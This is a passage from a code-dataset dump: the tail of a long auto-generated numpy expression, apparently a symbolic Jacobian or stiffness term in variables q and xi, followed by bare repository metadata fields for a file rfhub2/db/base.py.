99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 199774.424630392*xi**6*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 2106.99588477366*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0]) - 8.88888888888889*xi**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + (60131984.3684659*xi**9*(8*q[3, 0] - 4*q[4, 0] - 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 60131984.3684659*xi**9*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(6*q[3, 0] - 3*q[4, 0] - 3*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 1522090.85432679*xi**7*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 22474.6227709191*xi**5*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(4*q[3, 0] - 2*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) - 79.0123456790123*xi**3*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi)*(-51312626661.0909*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**5 + 1623563577.94858*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 31963907.9408627*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 337119.341563786*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 1422.22222222222*q[0, 0]**2 + 1422.22222222222*q[0, 0]*q[1, 0] + 1422.22222222222*q[0, 0]*q[2, 0] - 1422.22222222222*q[1, 0]**2 + 1422.22222222222*q[1, 0]*q[2, 0] - 1422.22222222222*q[2, 0]**2 + 1), (4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 26.6666666666667*numpy.sqrt(3)*(q[1, 0] - q[2, 0]))*(-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(-4*q[3, 0] + 8*q[4, 0] - 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 160351958.315909*numpy.sqrt(3)*xi**10*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(-3*q[3, 0] + 6*q[4, 0] - 3*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(-2*q[3, 0] + 4*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(-q[3, 0] + 2*q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 1053.49794238683*numpy.sqrt(3)*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0]) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + (2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 6320.98765432099*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 30441817.0865359*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 53.3333333333333*q[0, 0] - 26.6666666666667*q[1, 0] - 26.6666666666667*q[2, 0])*(-160351958.315909*xi**10*(-4*q[3, 0] + 8*q[4, 0] - 4*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 160351958.315909*xi**10*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(-3*q[3, 0] + 6*q[4, 0] - 3*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 5073636.18108931*xi**8*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(-2*q[3, 0] + 4*q[4, 0] - 2*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 99887.2123151958*xi**6*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(-q[3, 0] + 2*q[4, 0] - q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 1053.49794238683*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0]) + 4.44444444444444*xi**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + (60131984.3684659*xi**9*(-4*q[3, 0] + 8*q[4, 0] - 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 60131984.3684659*xi**9*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(-3*q[3, 0] + 6*q[4, 0] - 3*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 1522090.85432679*xi**7*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(-2*q[3, 0] + 4*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 22474.6227709191*xi**5*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(-2*q[3, 0] + 4*q[4, 0] - 2*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) - 79.0123456790123*xi**3*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi)*(-51312626661.0909*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**5 + 1623563577.94858*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 31963907.9408627*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 337119.341563786*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 1422.22222222222*q[0, 0]**2 + 1422.22222222222*q[0, 0]*q[1, 0] + 1422.22222222222*q[0, 0]*q[2, 0] - 1422.22222222222*q[1, 0]**2 + 1422.22222222222*q[1, 0]*q[2, 0] - 1422.22222222222*q[2, 0]**2 + 1), (4810558749.47727*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 121767268.346143*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 1797969.82167352*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 12641.975308642*numpy.sqrt(3)*(q[1, 0] - q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) + 26.6666666666667*numpy.sqrt(3)*(q[1, 0] - q[2, 0]))*(-160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(-4*q[3, 0] - 4*q[4, 0] + 8*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*numpy.sqrt(3)*xi**10*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 160351958.315909*numpy.sqrt(3)*xi**10*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(-3*q[3, 0] - 3*q[4, 0] + 6*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*numpy.sqrt(3)*xi**8*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 5073636.18108931*numpy.sqrt(3)*xi**8*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(-2*q[3, 0] - 2*q[4, 0] + 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*numpy.sqrt(3)*xi**6*(q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 99887.2123151958*numpy.sqrt(3)*xi**6*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*numpy.sqrt(3)*xi**4*(-q[3, 0] - q[4, 0] + 2*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*numpy.sqrt(3)*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 1053.49794238683*numpy.sqrt(3)*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*numpy.sqrt(3)*xi**2*(q[4, 0] - q[5, 0]) + 4.44444444444444*numpy.sqrt(3)*xi**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + (2405279374.73864*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 + 898984.910836762*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 6320.98765432099*(4*q[0, 0] - 2*q[1, 0] - 2*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2) - 30441817.0865359*(8*q[0, 0] - 4*q[1, 0] - 4*q[2, 0])*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 53.3333333333333*q[0, 0] - 26.6666666666667*q[1, 0] - 26.6666666666667*q[2, 0])*(-160351958.315909*xi**10*(-4*q[3, 0] - 4*q[4, 0] + 8*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 160351958.315909*xi**10*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 160351958.315909*xi**10*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 + 5073636.18108931*xi**8*(-3*q[3, 0] - 3*q[4, 0] + 6*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 5073636.18108931*xi**8*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 5073636.18108931*xi**8*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 - 99887.2123151958*xi**6*(-2*q[3, 0] - 2*q[4, 0] + 4*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 99887.2123151958*xi**6*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 99887.2123151958*xi**6*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 + 1053.49794238683*xi**4*(-q[3, 0] - q[4, 0] + 2*q[5, 0])*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) + 1053.49794238683*xi**4*(2*q[3, 0] - q[4, 0] - q[5, 0])*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 1053.49794238683*xi**4*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) - 4.44444444444444*xi**2*(2*q[3, 0] - q[4, 0] - q[5, 0]) + 4.44444444444444*xi**2*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)) + (60131984.3684659*xi**9*(-4*q[3, 0] - 4*q[4, 0] + 8*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 60131984.3684659*xi**9*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**4 - 1522090.85432679*xi**7*(-3*q[3, 0] - 3*q[4, 0] + 6*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 1522090.85432679*xi**7*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**3 + 22474.6227709191*xi**5*(-2*q[3, 0] - 2*q[4, 0] + 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45)*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2) + 22474.6227709191*xi**5*(q[3, 0]**2 - q[3, 0]*q[4, 0] - q[3, 0]*q[5, 0] + q[4, 0]**2 - q[4, 0]*q[5, 0] + q[5, 0]**2)**2 - 79.0123456790123*xi**3*(-2*q[3, 0] - 2*q[4, 0] + 4*q[5, 0])*(q[3, 0] + q[4, 0] + q[5, 0] + 0.45) - 79.0123456790123*xi**3*(2*q[3, 0]**2 - 2*q[3, 0]*q[4, 0] - 2*q[3, 0]*q[5, 0] + 2*q[4, 0]**2 - 2*q[4, 0]*q[5, 0] + 2*q[5, 0]**2) + (1/3)*xi)*(-51312626661.0909*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**5 + 1623563577.94858*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**4 - 31963907.9408627*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**3 + 337119.341563786*(q[0, 0]**2 - q[0, 0]*q[1, 0] - q[0, 0]*q[2, 0] + q[1, 0]**2 - q[1, 0]*q[2, 0] + q[2, 0]**2)**2 - 1422.22222222222*q[0, 0]**2 + 1422.22222222222*q[0, 0]*q[1, 0] + 1422.22222222222*q[0, 0]*q[2, 0] - 1422.22222222222*q[1, 0]**2 + 1422.22222222222*q[1, 0]*q[2, 0] - 1422.22222222222*q[2, 0]**2 + 1), 0, 0, 0, 0, 0, 0, 0, 0, 0]])

46,477.666667

139,406

0.408777

39,521

139,433

1.442195

0.003821

0.228609

0.096005

0.115164

0.991491

0.991228

0.99028

0.989964

0.988999

0

0.370182

0.176644

139,433

3

139,406

46,477.666667

0.126295

0

1

0.333333

false

0

0.333333

1

0

1

null

1

0

1

0

1

0

1

0

null

0

1

0

1

0

17

bab0bb415c4dd63d7ef6409cd0071df8f0185a0a

138

py

Python

rfhub2/db/base.py

Wolfe1/rfhub2

7bc5bd95a5b80f0dec62211bc1771d11d604e01b

[ "Apache-2.0" ]

null

rfhub2/db/base.py

Wolfe1/rfhub2

7bc5bd95a5b80f0dec62211bc1771d11d604e01b

[ "Apache-2.0" ]

null

